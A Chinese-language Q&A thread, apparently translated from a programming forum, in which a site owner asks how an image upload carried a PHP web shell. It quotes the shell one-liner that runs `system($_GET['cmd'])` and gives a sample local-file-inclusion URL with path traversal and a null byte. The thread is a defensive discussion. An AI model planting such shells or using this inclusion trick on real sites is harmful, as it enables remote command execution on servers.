我的php网站被上传为图片的代码攻击..?

imi*_*min 8 php security upload exploit image

昨天我的网站被组成了.攻击者将index.php文件更改为自己的文件(带有所有荣耀消息和问候语).我已经通知了托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何看起来很重要的原因,因为我仍然无法指出我们究竟是怎么做到的.服务器遭到攻击,但我认为我发现某些基于脚本的漏洞可能是罪魁祸首.

我们的网站有一个图像上传器表单,但是如果它们确实是图像文件而不是某些代码,则使用php getimagesize函数验证所有上传的图像.仅当图像类型为IMAGETYPE_GIF或IMAGETYPE_JPEG或IMAGETYPE_PNG时才会接受它们.否则,他们将无法上传文件.但是我发现一个上传的图像文件里面包含一个php脚本!您可以在此处下载图像.这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,你会在其中找到一个PHP代码:

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>
Run Code Online (Sandbox Code Playgroud)

例如,图像上传到此位置(www.mysite.com/uploads/picodes.jpg).请注意,文件夹上传的权限是755.攻击者是否有任何方法可以执行系统(或任何其他命令,如passthru,因为我们发现另一个图像具有与上面相同的代码隐藏,但不是系统,它有passthru命令),例如,键入www.mysite.com/uploads/picodes.jpg?cmd=some命令 ?? 根据我的知识,它无法完成(真的很感激,如果有人可以证明我错了),除非攻击者可以将jpg文件重命名为php,即便如此,这些代码仍隐藏在图像内部(请参阅里面的图像文本编辑器,以了解我想说的是什么)

为了预防,我已经通过在php.ini中的disable_functions上添加它们来禁用这些php函数(exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system).

无论如何,我仍然认为攻击者不是通过网络获取访问权限,而是通过服务器利用,但我认为我的托管公司不这么认为.

p0d*_*eje 5

具有任意PHP代码的图像文件不能通过直接请求来利用,例如http://www.mysite.com/uploads/image.jpg?cmd=somecode.

但是,它可以与本地文件包含漏洞一起使用.

例如,在你使用的index.php中include('pages/' . $_GET['page'] . '.php');,攻击者可以使用PHP代码上传图像并使用smth执行命令,如下所示:http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD:将URL中的文件更改为页面


Amb*_*ber 4

JPEG 文件中除实际图像数据外还可以包含任意数据;它是规范的一部分。因此,仅仅检查图像是否是有效的 JPEG 并不意味着该文件一定是完全无害的。